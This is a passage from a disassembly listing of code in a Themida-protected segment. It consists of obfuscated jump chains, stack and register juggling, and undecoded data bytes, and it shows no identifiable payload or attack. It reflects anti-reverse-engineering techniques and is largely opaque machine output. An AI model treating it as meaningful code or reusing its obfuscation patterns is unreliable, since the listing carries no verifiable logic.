		sub	ecx, 4
		jmp	loc_51B29C
; ---------------------------------------------------------------------------
		dd 0BA241489h, 17A36BB8h, 3D01E9h, 0DBE95A00h, 0BDFFFFAAh
		dd 4, 5620EF81h, 0EF296321h, 5620C781h,	875D6321h, 895C243Ch
		dd 0EC83243Ch, 24248904h, 4240481h, 0FF000000h,	3C8B2434h
		dd 4C48124h, 0E9000000h, 6EDh, 43C5E954h, 248BFFFFh, 242CD224h
		dd 0F25FE99Ch, 0C580FFFEh, 4EDC001h, 0C580D5F6h, 0E122E901h
		dd 8166FFFFh, 580EFBEBh, 0D3B68h, 0CFD7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C3A6:				; CODE XREF: Themida_:00510DEDj
		add	esp, 4
		jmp	loc_51E681
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 51h
		dd 0FFFDADE9h, 0EC8357FFh, 24248904h, 4240481h,	5F000000h
		dd 4C781h, 0E9510000h, 19B2h, 0E9EDD14Dh, 431Ah
; ---------------------------------------------------------------------------


loc_51C3DC:				; CODE XREF: Themida_:00513DE0j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_50F4C7
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 0D1h
		dd 0F723013Fh, 0FBC681D6h, 2904B484h, 9EFCE9F3h, 0B252FFFFh
		dd 48D5E91Bh, 0CAFEFFFFh, 832C280h, 0DDF65AD5h,	88F1C580h
		dd 240C8BEFh, 8004C483h, 51666CEFh, 0FEF428E9h,	4C483FFh
		dd 4EC8152h, 89000000h,	0B0682404h, 0E9447409h,	0FFFFE622h
		dd 81F13166h, 2ECh, 34896600h, 14F76624h, 348B6624h, 5D2A6824h
		dd 7BE90000h, 0BBFFFF69h, 21084199h, 0B3EB814Bh, 0C134186Fh
		dd 0EBD107E3h, 1B8DF381h, 0EB812E57h, 15A362C9h, 1C8BDD89h
		dd 4C48124h, 0E9000000h, 0FFFFAC48h
; ---------------------------------------------------------------------------


loc_51C4B0:				; CODE XREF: Themida_:0050CC90j
		xor	ecx, 115C621Eh
		jmp	loc_50FFFF
; ---------------------------------------------------------------------------


loc_51C4BB:				; CODE XREF: Themida_:00520C11j
		xor	al, bh
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_512454
; ---------------------------------------------------------------------------
		dd 0DF5435B9h, 55C1811Fh, 8175540Ch, 3A7BA7F1h,	8BC80191h
		dd 0C483240Ch, 555C0504h, 868300Ah, 89000008h, 13E9242Ch
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C4F3:				; CODE XREF: Themida_:00519FC4j
		xor	al, 14h
		add	al, 2Dh
		add	ch, al
		mov	eax, [esp]
		add	esp, 4
		or	ch, 5Eh
		sub	ch, 0B7h
		sub	al, ch
		jmp	loc_514A3A
; ---------------------------------------------------------------------------
		dd 575DEB29h, 7A3CEFBFh, 7E7C10Fh, 0FFDC14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C51D:				; CODE XREF: Themida_:00512979j
		add	ebx, 0CEC4DE77h
		push	0E3Eh
		jmp	loc_512021
; ---------------------------------------------------------------------------


loc_51C52D:				; CODE XREF: Themida_:0050E2F8j
		add	esp, 4
		pop	eax
		sub	esp, 4
		jmp	loc_5128E7
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0C847490Dh, 348BF529h, 1E07E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C54E:				; CODE XREF: Themida_:0051DF40j
		xchg	edx, ebx
		push	edx
		push	4244h
		jmp	loc_51A3B5
; ---------------------------------------------------------------------------


loc_51C55B:				; CODE XREF: Themida_:00518E4Cj
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_51B6EF
		push	ebx
		push	2F6Dh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51A10C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C241Ch, 0FFFEF039h, 0E9C3005Ah, 0FFFF9D86h
; ---------------------------------------------------------------------------


loc_51C5B4:				; CODE XREF: Themida_:0050D3DFj
		add	edi, ecx
		sub	edi, 22F325A2h
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5156DF
; ---------------------------------------------------------------------------


loc_51C5C8:				; CODE XREF: Themida_:0050F754j
		push	0F83h
		mov	[esp], ebx
		mov	bh, 9Dh
		xor	bh, 4Ah
		jmp	loc_518AA0
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0BF572404h, 5CF43E17h, 0D5DABBB8h, 8BF801CBh, 5E9243Ch
		dd 81FFFFA3h, 2B7533EDh, 2C875934h, 0E2E95C24h
		db 0EFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51C603:				; CODE XREF: Themida_:0050D4BBj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		mov	ecx, 78CA40E6h
		jmp	loc_51DA29
; ---------------------------------------------------------------------------
		dw 4905h
		dd 295C5771h, 71492DE8h, 49E95C57h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C627:				; CODE XREF: Themida_:0051336Bj
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		push	2061h
		mov	[esp], eax
		jmp	loc_514EF2
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 3
		dd 0FF00C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C655:				; CODE XREF: Themida_:00520004j
		add	eax, 0E6E6307h
		add	eax, ecx
		push	ebp
		mov	ebp, 0EDC7041h
		sub	ebp, 6E0D3Ah
		sub	eax, ebp
		pop	ebp
		jmp	loc_51D1B3
; ---------------------------------------------------------------------------


loc_51C670:				; CODE XREF: Themida_:0051E02Bj
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_50D076
; ---------------------------------------------------------------------------


loc_51C682:				; CODE XREF: Themida_:00515C0Aj
		push	ecx
		mov	cl, 0Eh
		jmp	loc_5138BC
; ---------------------------------------------------------------------------


loc_51C68A:				; CODE XREF: Themida_:0051FFD7j
		not	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_511CA0
; ---------------------------------------------------------------------------
		dd 0E1C3815Bh, 811E7477h, 8E1660EBh, 19EB8104h,	2961894Fh
		dd 19B951C3h, 0E961894Fh, 2192h, 4C481h, 34FF0000h, 2434FF24h
		dd 4C4835Eh, 18C5E9h, 6A26B800h, 13E966E0h, 52FFFF09h
		dd 6D48FBBAh, 8EC7B90Eh, 0D1292825h, 81D1F75Ah,	6A607DE9h
		dd 4DBD5570h, 2926683Fh, 2E95DE8h, 81FFFF7Ch, 2C4h, 0F5816600h
		dd 3EE94970h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51C707:				; CODE XREF: Themida_:0051BCC3j
		push	ebp
		jmp	loc_50C292
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 5
		dd 1047118h, 0A312E9D7h, 0CA01FFFFh, 87C28159h,	4A57057Fh
		dd 10DDC281h, 0D701246Bh, 8324148Bh, 3C8704C4h,	0D8015C24h
		dd 0FF3071E9h, 5AD529FFh, 0FEF7A9E9h, 241C87FFh, 5324248Bh
		dd 619A68h, 240C8900h, 0E9D38853h, 0FFFFB248h
; ---------------------------------------------------------------------------


loc_51C75C:				; CODE XREF: Themida_:0050BC71j
		add	eax, 0F680685Ch
		mov	ebp, eax
		pop	eax
		push	6271h
		mov	[esp], edx
		mov	edx, ebp
		mov	ebx, edx
		pop	edx
		mov	ebp, [esp]
		jmp	loc_510708
; ---------------------------------------------------------------------------


loc_51C779:				; CODE XREF: Themida_:0050E180j
		sub	cl, 64h
		sub	al, cl
		jmp	loc_512D91
; ---------------------------------------------------------------------------


loc_51C783:				; CODE XREF: Themida_:0051720Bj
		pop	esp
		jmp	loc_50CAA8
; ---------------------------------------------------------------------------


loc_51C789:				; CODE XREF: Themida_:00511EC9j
		add	esi, 181327B4h
		add	esi, 26547B18h
		sub	esi, ebx
		jmp	loc_5194B9
; ---------------------------------------------------------------------------
		dd 4240483h, 4EC835Bh, 50242C89h, 272D3E68h, 24048B3Ch
		dd 2D04C483h, 41FB7AB1h, 57964696h, 2BB28ABFh, 34F42DFAh
		dd 552D10D3h, 538B67Eh,	49695553h, 532DF829h, 0E9496955h
		dd 219Fh, 0F9E95858h, 29FFFFA0h, 76E95EF2h, 8100003Ah
		dd 43724F7h, 5FF8894Dh,	0FF1FCCE9h, 7DD5BBFFh, 0E9526D19h
		dd 0FFFFD834h, 0EF805866h, 2CB1E9B4h, 6857FFFFh, 2, 56EA815Fh
		dd 816F4769h, 4F6BE3C2h, 81FA011Bh, 4F6BE3EAh, 4EC811Bh
		dd 89000000h, 6857241Ch, 760F7E0Dh, 0FF27A1E9h,	0EB814BFFh
		dd 68847387h, 1BF57h, 0FB290000h, 71B8505Fh, 0E91B3C5Bh
		dd 2E50h
; ---------------------------------------------------------------------------


loc_51C858:				; CODE XREF: Themida_:0050FD6Ej
		dec	edx
		shl	edx, 7
		push	eax
		mov	eax, 61CD521Dh
		jmp	loc_50E27D
; ---------------------------------------------------------------------------
		db 59h
		dd 8704C783h, 525C243Ch, 0FA6D45BAh, 0F52EE949h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51C87A:				; CODE XREF: Themida_:0051AB96j
		mov	edi, 2B183D7Ch
		sub	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_51C1C6
; ---------------------------------------------------------------------------


loc_51C88A:				; CODE XREF: Themida_:0050DF01j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	14A0h
		mov	[esp], edx
		push	ecx
		push	eax
		sub	dword ptr [esp], 29953C6Bh
		pop	ecx
		add	ecx, 29953C6Bh
		mov	edx, ecx
		pop	ecx
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_51FA07
; ---------------------------------------------------------------------------


loc_51C8BA:				; CODE XREF: Themida_:0051567Ej
		xor	esi, 23015E8Eh
		add	eax, esi
		pop	esi
		not	eax
		and	eax, 15B1117Ah
		jmp	loc_51AECA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5E575600h, 5F54E95Fh, 0FF57FFFFh, 5F042474h, 5C24048Fh
		dd 0FF549EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C8ED:				; CODE XREF: Themida_:005158F4j
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_50C4AA
; ---------------------------------------------------------------------------
		dd 5003E3C1h, 0FFD020E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C909:				; CODE XREF: Themida_:00520F17j
		add	ebp, 0FF7BFB54h
		jmp	loc_521081
; ---------------------------------------------------------------------------
		dd 0E9C1FE5Ah, 0FFFFE5D1h, 9D1C77FFh, 4185866h,	0BAE99C24h
		dd 51FFFEECh, 2F48DCB9h, 6CF18108h, 167FB35h, 0A02D59C8h
		dd 68395400h, 97h, 0BE243489h, 6EE05DEFh, 5203EEC1h, 0B80863BAh
		dd 5AD62948h, 7CB85055h, 895555E9h, 0EE2958C5h,	81242C8Bh
		dd 4ECh, 24348900h, 0C681E689h,	4, 8704C683h, 315C2434h
		dd 0BB535EF0h, 62D70F80h, 68FEE381h, 0F4E918E9h, 89FFFF65h
		dd 4DE9240Ch, 8BFFFFE2h, 0C481240Ch, 4,	7A68CBFEh, 89000064h
		dd 51B42404h, 0CAE9CCFEh
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C9B7:				; CODE XREF: Themida_:00518CB0j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_512139
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 0FF557AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C9D1:				; CODE XREF: Themida_:0050DF22j
		mov	ebp, 5DD01532h
		jmp	loc_514FD4
; ---------------------------------------------------------------------------
aPs4		db 'P4',0
		dd 24348700h, 6624248Bh, 5124048Bh, 0C1815954h,	4, 0FEF7B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C9F9:				; CODE XREF: Themida_:0051F1E2j
		push	eax
		push	ebp
		jmp	loc_51916F
; ---------------------------------------------------------------------------


loc_51CA00:				; CODE XREF: Themida_:00520AE0j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_50C2F9
; ---------------------------------------------------------------------------
		db 1, 0C1h, 0E9h
		dd 0FFFFBA4Bh
; ---------------------------------------------------------------------------


loc_51CA14:				; CODE XREF: Themida_:00520521j
		dec	ecx
		jmp	loc_50B68F
; ---------------------------------------------------------------------------


loc_51CA1A:				; CODE XREF: Themida_:0051A4F4j
		and	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 67E7084Bh
		xor	esi, edx
		jmp	loc_516FA0
; ---------------------------------------------------------------------------


loc_51CA2A:				; CODE XREF: Themida_:0051FFCCj
		xchg	ebp, [esp]
		jmp	loc_51255E
; ---------------------------------------------------------------------------
		dw 0CB00h
		dd 0E9240C8Bh, 0FFFFBFB9h
; ---------------------------------------------------------------------------


loc_51CA3C:				; CODE XREF: Themida_:0050C514j
		push	ecx
		add	dword ptr [esp], 2A980EC9h
		jmp	loc_51C269
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 87h
		dd 1DE9DBF6h, 89000042h, 0C0E9243Ch, 5A00002Fh,	0FFCE01E9h
		dd 0E18951FFh, 40B5BD55h, 0F581382Ch, 7FA2FA6h,	8A72E952h
		dd 0D2F7FFFFh, 1C6DBD55h, 0D58717A0h, 0FF5C13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51CA85:				; CODE XREF: Themida_:0051A819j
		add	ebp, 8524751h
		add	ebp, 657D3F7Eh
		or	ebp, 61FB289Ah
		add	ebp, 48A37A1Bh
		add	edx, ebp
		jmp	loc_51D56F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFEDCEh
; ---------------------------------------------------------------------------


loc_51CAAC:				; CODE XREF: Themida_:0051B0AAj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_51BEDF
; ---------------------------------------------------------------------------
		dd 3F0A58BEh, 9BC6816Bh, 0F7776A44h, 1B850D6h, 0E949747Ch
		dd 0EE8h, 1A5D2CB9h, 0A3C18176h, 16F999Eh, 0BE5659C8h
		dd 0F423C4Bh, 0FF000BE9h, 0C7015BFFh, 8324048Bh, 3C8704C4h
		dd 89535C24h, 4C381E3h,	0E9000000h, 0FFFF74A9h,	0E389535Eh
		dd 4C381h, 0EC810000h, 4, 0FFBD15E9h, 2AB551FFh, 0C580C5FEh
		dd 8BEA8822h, 0C483240Ch, 0BAC28004h, 28CFEA80h, 0CFC280C2h
		dd 0FFAF7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51CB39:				; CODE XREF: Themida_:0050D89Aj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_513FE4
; ---------------------------------------------------------------------------


loc_51CB42:				; CODE XREF: Themida_:0050D76Aj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		push	ecx
		mov	ecx, 10FF272Fh
		mov	ebx, 1AA402DBh
		xor	ebx, ecx
		pop	ecx
		or	ebx, 2F05217Dh
		push	esi
		jmp	loc_5110E3
; ---------------------------------------------------------------------------


loc_51CB68:				; CODE XREF: Themida_:00513C2Bj
		mov	ecx, [esp]
		jmp	loc_50F945
; ---------------------------------------------------------------------------


loc_51CB70:				; CODE XREF: Themida_:0051A43Ej
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	ecx, 17CE31CBh
		push	ebp
		push	eax
		push	354F1D93h
		pop	eax
		jmp	loc_50D95D
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 4841E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CB9A:				; CODE XREF: Themida_:0051A9CCj
		push	eax
		jmp	loc_518890
; ---------------------------------------------------------------------------


loc_51CBA0:				; CODE XREF: Themida_:0050E06Dj
		inc	edi
		not	edi
		inc	edi
		sub	edi, 0EF701959h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_50BDA0
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
aSx		db '$]X',27h,0
		dw 5D00h
		dd 4C581h, 0F6E90000h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CBD7:				; CODE XREF: Themida_:005120F7j
		mov	ebx, 1354260h
		jmp	loc_518D37
; ---------------------------------------------------------------------------


loc_51CBE1:				; CODE XREF: Themida_:0051EB2Dj
		push	6D64h
		mov	[esp], ebp
		mov	ebp, 40h
		mov	edi, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_515D47
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 2D68F7B8h, 6E712526h, 24E94A3Eh, 0FFFFFEFEh,	48B2434h
		dd 4C48124h, 68000000h,	2D75h, 89242C89h, 46856E5h, 0E9000000h
		dd 0FFFF4B6Eh, 55241C89h, 1056E951h, 1BEFFFFh, 29000000h
		dd 2EE8E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51CC42:				; CODE XREF: Themida_:0051E902j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_518604
; ---------------------------------------------------------------------------
		db 5Dh,	31h, 0CDh
		dd 81240C8Bh, 4C4h, 4EC8100h, 0E9000000h, 0FFFF752Dh, 0CDB8505Ah
		dd 3171AC79h, 0E95358C2h, 280Ch, 0E680C6FEh, 32CE80E0h
		dd 0E9FECE80h, 0FFFFED95h, 0FE17CB80h, 5E3C0C3h, 505CF380h
		dd 0B080B753h, 5BF8281Dh, 0E0C0BA04h, 0F6C8FE02h, 5B34D0h
		dd 12CDE9C3h, 0C7810000h, 4, 8704EF83h,	895C243Ch, 0B9512414h
		dd 2A687E1Ah, 7E1EF181h, 84682A68h, 89000036h, 33E9240Ch
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CCD3:				; CODE XREF: Themida_:0051C1F5j
		push	esi
		mov	esi, 0DF1080Ah
		sub	edx, esi
		jmp	loc_51D621
; ---------------------------------------------------------------------------
		dd 0F66F1F6h, 1AE9CCB6h, 83FFFF5Ch, 148904ECh, 0EC885024h
		dd 48BE288h, 0BA9AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CCFE:				; CODE XREF: Themida_:00519D15j
		add	dword ptr [esp+4], 258B74D3h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_51ECD5
; ---------------------------------------------------------------------------
		db 80h,	0EDh, 0BDh
		dd 246C8651h, 86D5F601h, 5901246Ch, 0C025B753h,	0E7D004EFh
		dd 28C8F780h, 0C5805BFDh, 0C5D4E9A0h, 572DFFFFh, 1229F66h
		dd 7CE958C6h, 0FF00003Ch, 815E2434h, 4C4h, 4BF5700h, 1000000h
		dd 2434FFFEh, 0EEB0E95Fh, 48FFFFFh, 51BD5524h, 0D1490026h
		dd 6EDC1EDh, 0F581DDF7h, 1E07FF0h, 8040F581h, 6C01FE8Dh
		dd 2FE90424h, 51FFFEECh, 802676B9h, 81F1811Ch, 0F7334161h
		dd 98E981D9h, 0E9649A5Dh, 0FFFF5BF4h, 1098F681h, 0F6811C9Fh
		dd 236A1B22h, 2797E9h, 58C30100h, 8B241C87h, 4292424h
		dd 26E99C24h, 29FFFEE8h, 241C8BD9h, 5204C483h, 0FEE963E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51CDCD:				; CODE XREF: Themida_:0051FCC2j
		mov	esp, [esp]
		push	2A51h
		jmp	loc_515DA9
; ---------------------------------------------------------------------------
		dw 53ACh
		dd 0FF3AC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51CDE1:				; CODE XREF: Themida_:0051310Bj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		xor	edi, ebx
		jmp	loc_51321F
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 65h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CDF7:				; CODE XREF: Themida_:005184BCj
		pop	eax
		inc	eax
		not	eax
		sub	eax, 2FE279A0h
		jmp	loc_51AB1B
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 6
		dd 43CDE281h, 63E92340h, 0B9FFFFFCh, 63320366h,	0D7E98141h
		dd 90458E6h, 505259CEh,	0FF9D32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51CE29:				; CODE XREF: Themida_:00510CC8j
		xor	ecx, 361535FCh
		not	ecx
		add	ecx, 0D7DC7BD3h
		push	edi
		mov	edi, 29F7482Bh
		jmp	loc_512174
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D3682404h, 89000041h, 9FE92414h, 68FFFF71h,	5937h
		dd 68243489h, 4A95h, 83242489h,	8B042404h, 0DEE92434h
		dd 66FFFFF5h, 5324048Bh, 0BA52E389h, 4,	5934EB81h, 4BE935C7h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CE87:				; CODE XREF: Themida_:00513FE7j
		push	13C0h
		jmp	loc_51A0A2
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4EF8300h, 31243C33h, 3C33243Ch, 24248B24h, 57241489h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 0E6E95C24h, 0B8FFFF13h
		dd 2F220407h, 0C108E8C1h, 6E3505E0h, 895D268Ch,	335EE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51CEDA:				; CODE XREF: Themida_:0051DF5Fj
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_51B193
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 6D3C55A3h, 0C15EF731h, 0E7C104EFh, 40BE5606h, 2966E3A9h
		dd 0FB895EF7h, 1C3835Fh, 6B47C381h, 0C3816B8Fh,	0FDCEF8CEh
		dd 10E0C281h, 0DA016CFAh, 10E0EA81h, 34FF6CFAh,	0C4815B24h
		dd 4, 8B2434FFh, 0C483243Ch, 4C48104h, 87000000h, 248B2414h
		dd 48B6624h, 416D6824h,	2C890000h, 50E58924h, 160086B8h
		dd 115BE91Bh, 0ED810000h, 0B80FD5C3h, 575DEE89h, 0E6A8E951h
		dd 0EF83FFFFh, 7EF8101h, 0E905BB6Ah, 0FFFF5220h, 4F02EFC1h
		dd 5FC9CF81h, 25E92448h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51CF83:				; CODE XREF: Themida_:005108EAj
		push	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_51B14A
; ---------------------------------------------------------------------------
		dw 0E68h
		dd 89000009h, 0B652241Ch, 3003B7C8h, 0FD005AF7h, 1451E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51CFAA:				; CODE XREF: Themida_:00510AA9j
		push	ecx
		mov	ecx, esp
		push	edi
		push	ecx
		jmp	loc_511E9C
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFEE621h
; ---------------------------------------------------------------------------


loc_51CFC4:				; CODE XREF: Themida_:005199C8j
		push	ebp
		jmp	loc_50E2E2
; ---------------------------------------------------------------------------


loc_51CFCA:				; CODE XREF: Themida_:00514A17j
		xor	[edx], eax
		pop	edx
		pop	ebx
		push	ecx
		jmp	loc_519D91
; ---------------------------------------------------------------------------
		dd 2834B652h, 192C5AF0h, 1904F000h, 34FF3404h, 52EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CFEA:				; CODE XREF: Themida_:0051D0B4j
		mov	esi, 6D617C7Ah
		jmp	loc_516401
; ---------------------------------------------------------------------------
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h,	0B82E924h
		dd 815E0000h, 4C6h, 4BA5200h, 29000000h, 34875AD6h, 3C895C24h
		dd 34FF5424h, 0EC835F24h, 24048904h, 405E089h, 83000000h
		dd 48704C0h, 5CE95C24h,	5A000032h, 0E924348Bh, 0FFFF0EFEh
		dd 912DD829h, 8B04427Dh, 0C483241Ch, 2A610504h,	34FF5F79h
		dd 0C4835B24h, 6B646804h, 0C890000h, 6BDD6824h,	0E9E95FFEh
		dd 58FFFF2Dh, 2811EB80h, 1C8B66DAh, 2C48324h, 0EC81DAF6h
		dd 4, 0B0240489h, 0E9C230C4h, 0FFFF3E6Dh, 4B7EEE81h, 1AE90795h
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51D0A3:				; CODE XREF: Themida_:0050CDD5j
		push	5EDFh
		mov	[esp], ebx
		mov	ebx, 292C35B8h
		add	ebx, 1
		push	esi
		jmp	loc_51CFEA
; ---------------------------------------------------------------------------


loc_51D0B9:				; CODE XREF: Themida_:0051F063j
		add	dword ptr [esp], 4E54B79h
		pop	edx
		sub	edx, 4E54B79h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_520A96
; ---------------------------------------------------------------------------


loc_51D0D2:				; CODE XREF: Themida_:00513C4Fj
		sub	eax, 1AB83AD8h
		add	ebx, eax
		jmp	loc_516129
; ---------------------------------------------------------------------------


loc_51D0DE:				; CODE XREF: Themida_:00516399j
		xor	[edx], eax
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_51668C
; ---------------------------------------------------------------------------


loc_51D0EB:				; CODE XREF: Themida_:0051DDACj
		mov	esi, 4E0E260Bh
		jmp	loc_518BC9
; ---------------------------------------------------------------------------
		db 1, 0FAh, 0E9h
		dd 0FFFF0BB3h, 52E9FE31h, 5B000002h, 0EB88E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D10A:				; CODE XREF: Themida_:00511DB8j
		mov	edx, 4
		jmp	loc_50F400
; ---------------------------------------------------------------------------


loc_51D114:				; CODE XREF: Themida_:00514B92j
		mov	esi, esp
		jmp	loc_50E58D
; ---------------------------------------------------------------------------
		db 42h
		dd 4058F281h, 0D2F762BFh, 0FF3BA4E9h, 5EF029FFh, 330C68h
		dd 0D03BE900h, 483FFFFh, 48B0424h, 33F1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51D142:				; CODE XREF: Themida_:005178C2j
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_51348C
; ---------------------------------------------------------------------------
aITHz5		db ',$T]hZ5',0
		align 4
		dd 0FF453BE9h, 0E2E95AFFh, 81FFFF04h, 5F5327EBh, 81F3014Fh
		dd 5F5327C3h, 57C3814Fh, 0FF00873Eh, 505E2434h,	405E089h
		dd 5000000h, 4,	5C240487h, 5C241C87h, 9C240430h, 0FEE448E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D19D:				; CODE XREF: Themida_:0051AB4Aj
		mov	edi, ebx
		pop	ebx
		mov	edx, 4E2169FBh
		jmp	loc_50DE45
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0AAE92404h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D1B3:				; CODE XREF: Themida_:0051C66Bj
		push	dword ptr [esp]
		jmp	loc_51EF62
; ---------------------------------------------------------------------------
		db 51h
		dd 185DCEB9h, 0D0BA520Bh, 3151EF53h, 0C1815AD1h, 0F153FDB5h
		dd 3FD668h, 242C8900h, 20E95751h, 53000019h, 0FFBBA4E9h
		dd 0F5815DFFh, 17F81704h, 0B2C5814Dh, 89E84151h, 0BD555DEEh
		dd 76D24D7Fh, 815DEE31h, 0C32176F6h, 5EF02943h,	5E2434FFh
		dd 81E78957h, 4C7h, 4EF8100h, 0E9000000h, 0FFFF83A9h
; ---------------------------------------------------------------------------


loc_51D220:				; CODE XREF: Themida_:00512A35j
		pop	ebp
		add	esp, 4
		jmp	loc_50E397
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFABEEh, 815A5452h, 4C2h, 4BB5300h, 1000000h
		dd 241C8BDAh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch
		dd 1EC8h, 24048B66h, 81595451h,	4C1h, 4E98300h,	5C240C87h
		dd 0E9240C89h, 0D5Eh, 8159CD21h, 62BBAEEDh, 5DE98992h
		dd 0FFFFE981h, 0E9C1FFFFh, 0FFC18103h, 0E9FFFFFFh, 0FFFFBD95h
; ---------------------------------------------------------------------------


loc_51D29C:				; CODE XREF: Themida_:0050E381j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51A9E7
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 69F06824h, 515D0601h, 52284FB9h, 0FFC2E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D2BA:				; CODE XREF: Themida_:0050FAF4j
		sub	bl, al
		jmp	loc_514386
; ---------------------------------------------------------------------------
